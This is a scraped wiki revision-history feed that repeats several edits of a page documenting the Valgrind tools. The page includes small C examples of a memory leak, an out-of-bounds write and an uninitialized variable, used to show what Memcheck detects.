&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Uninitialized Variable ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
    int fct(int x)&lt;br /&gt;
    {&lt;br /&gt;
        if(x &amp;lt; 10)&lt;br /&gt;
        {&lt;br /&gt;
            printf(&amp;quot;x is less than 10\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        int y;&lt;br /&gt;
        fct(y);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind srzjsgb.jpg|thumb|none|500px|Uninitialized variable]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
* a cache profiler&lt;br /&gt;
* performs a detailed simulation of the I1, D1 and L2 caches in your CPU and so can accurately pinpoint the sources of cache misses in your code&lt;br /&gt;
* it identifies the number of cache misses, memory references and instructions executed for each line of source code, with per-function, per-module and whole-program summaries&lt;br /&gt;
* useful with programs written in any language &lt;br /&gt;
* runs programs about 20--100x slower than normal.&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
* An extension to Cachegrind&lt;br /&gt;
* offers all the information that Cachegrind offers, plus additional information about Callgraphs&lt;br /&gt;
* Separately available is a visualization tool KCachegrind&lt;br /&gt;
** gives a better overview of the data collected by Callgrind&lt;br /&gt;
** it can also be used to visualize the output of Cachegrind&lt;br /&gt;
** simply run Callgrind/Cachegrind to generate the files which you then feed to KCachegrind&lt;br /&gt;
&lt;br /&gt;
To install KCachegrind, simply run:&lt;br /&gt;
&lt;br /&gt;
    sudo apt-get install kcachegrind&lt;br /&gt;
The files that are generated via Cachegrind/Callgrind look like this:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind drcfgvjhuiy.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:4 valgrind jkdcvhj.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:4_valgrind_jkdcvhj.jpg&amp;diff=11196</id>
		<title>File:4 valgrind jkdcvhj.jpg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:4_valgrind_jkdcvhj.jpg&amp;diff=11196"/>
		<updated>2023-01-28T13:28:40Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11195</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11195"/>
		<updated>2023-01-28T13:27:29Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Callgrind */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind ajsckiuz.jpg|thumb|none|500px|Memory leak]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Invalid Pointer ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(10);&lt;br /&gt;
        x[10] = &#039;a&#039;;&lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example2.c -o example2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind hmjsjz.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Uninitialized Variable ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
    int fct(int x)&lt;br /&gt;
    {&lt;br /&gt;
        if(x &amp;lt; 10)&lt;br /&gt;
        {&lt;br /&gt;
            printf(&amp;quot;x is less than 10\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        int y;&lt;br /&gt;
        fct(y);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind srzjsgb.jpg|thumb|none|500px|Uninitialized variable]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
* a cache profiler&lt;br /&gt;
* performs a detailed simulation of the I1, D1 and L2 caches in your CPU and so can accurately pinpoint the sources of cache misses in your code&lt;br /&gt;
* it identifies the number of cache misses, memory references and instructions executed for each line of source code, with per-function, per-module and whole-program summaries&lt;br /&gt;
* useful with programs written in any language &lt;br /&gt;
* runs programs about 20--100x slower than normal.&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
* An extension to Cachegrind&lt;br /&gt;
* offers all the information that Cachegrind offers, plus additional information about Callgraphs&lt;br /&gt;
* Separately available is a visualization tool KCachegrind&lt;br /&gt;
** gives a better overview of the data collected by Callgrind&lt;br /&gt;
** it can also be used to visualize the output of Cachegrind&lt;br /&gt;
** simply run Callgrind/Cachegrind to generate the files which you then feed to KCachegrind&lt;br /&gt;
&lt;br /&gt;
To install KCachegrind, simply run:&lt;br /&gt;
&lt;br /&gt;
    sudo apt-get install kcachegrind&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind drcfgvjhuiy.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11194</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11194"/>
		<updated>2023-01-28T13:27:15Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Callgrind */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind ajsckiuz.jpg|thumb|none|500px|Memory leak]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Invalid Pointer ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(10);&lt;br /&gt;
        x[10] = &#039;a&#039;;&lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example2.c -o example2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind hmjsjz.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Uninitialized Variable ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
    int fct(int x)&lt;br /&gt;
    {&lt;br /&gt;
        if(x &amp;lt; 10)&lt;br /&gt;
        {&lt;br /&gt;
            printf(&amp;quot;x is less than 10\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        int y;&lt;br /&gt;
        fct(y);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind srzjsgb.jpg|thumb|none|500px|Uninitialized variable]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
* a cache profiler&lt;br /&gt;
* performs a detailed simulation of the I1, D1 and L2 caches in your CPU and so can accurately pinpoint the sources of cache misses in your code&lt;br /&gt;
* it identifies the number of cache misses, memory references and instructions executed for each line of source code, with per-function, per-module and whole-program summaries&lt;br /&gt;
* useful with programs written in any language &lt;br /&gt;
* runs programs about 20--100x slower than normal.&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
* An extension to Cachegrind&lt;br /&gt;
* offers all the information that Cachegrind offers, plus additional information about Callgraphs&lt;br /&gt;
* Separately available is a visualization tool KCachegrind&lt;br /&gt;
** gives a better overview of the data collected by Callgrind&lt;br /&gt;
** it can also be used to visualize the output of Cachegrind&lt;br /&gt;
** simply run Callgrind/Cachegrind to generate the files which you then feed to KCachegrind&lt;br /&gt;
&lt;br /&gt;
To install KCachegrind, simply run:&lt;br /&gt;
&lt;br /&gt;
    sudo apt-get install kcachegrind&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind drcfgvjhuiy.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:3_valgrind_drcfgvjhuiy.jpg&amp;diff=11193</id>
		<title>File:3 valgrind drcfgvjhuiy.jpg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:3_valgrind_drcfgvjhuiy.jpg&amp;diff=11193"/>
		<updated>2023-01-28T13:26:55Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11192</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11192"/>
		<updated>2023-01-28T13:25:26Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Callgrind */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind ajsckiuz.jpg|thumb|none|500px|Memory leak]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Invalid Pointer ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(10);&lt;br /&gt;
        x[10] = &#039;a&#039;;&lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example2.c -o example2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind hmjsjz.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Uninitialized Variable ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
    int fct(int x)&lt;br /&gt;
    {&lt;br /&gt;
        if(x &amp;lt; 10)&lt;br /&gt;
        {&lt;br /&gt;
            printf(&amp;quot;x is less than 10\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        int y;&lt;br /&gt;
        fct(y);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind srzjsgb.jpg|thumb|none|500px|Uninitialized variable]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
* a cache profiler&lt;br /&gt;
* performs a detailed simulation of the I1, D1 and L2 caches in your CPU and so can accurately pinpoint the sources of cache misses in your code&lt;br /&gt;
* it identifies the number of cache misses, memory references and instructions executed for each line of source code, with per-function, per-module and whole-program summaries&lt;br /&gt;
* useful with programs written in any language &lt;br /&gt;
* runs programs about 20--100x slower than normal.&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
* An extension to Cachegrind&lt;br /&gt;
* offers all the information that Cachegrind offers, plus additional information about Callgraphs&lt;br /&gt;
* Separately available is a visualization tool KCachegrind&lt;br /&gt;
** gives a better overview of the data collected by Callgrind&lt;br /&gt;
** it can also be used to visualize the output of Cachegrind&lt;br /&gt;
** simply run Callgrind/Cachegrind to generate the files which you then feed to KCachegrind&lt;br /&gt;
&lt;br /&gt;
To install KCachegrind, simply run:&lt;br /&gt;
&lt;br /&gt;
    sudo apt-get install kcachegrind&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind hmjsjz.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11191</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11191"/>
		<updated>2023-01-28T13:24:28Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Callgrind */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind ajsckiuz.jpg|thumb|none|500px|Memory leak]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Invalid Pointer ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(10);&lt;br /&gt;
        x[10] = &#039;a&#039;;&lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example2.c -o example2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind hmjsjz.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Uninitialized Variable ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
    int fct(int x)&lt;br /&gt;
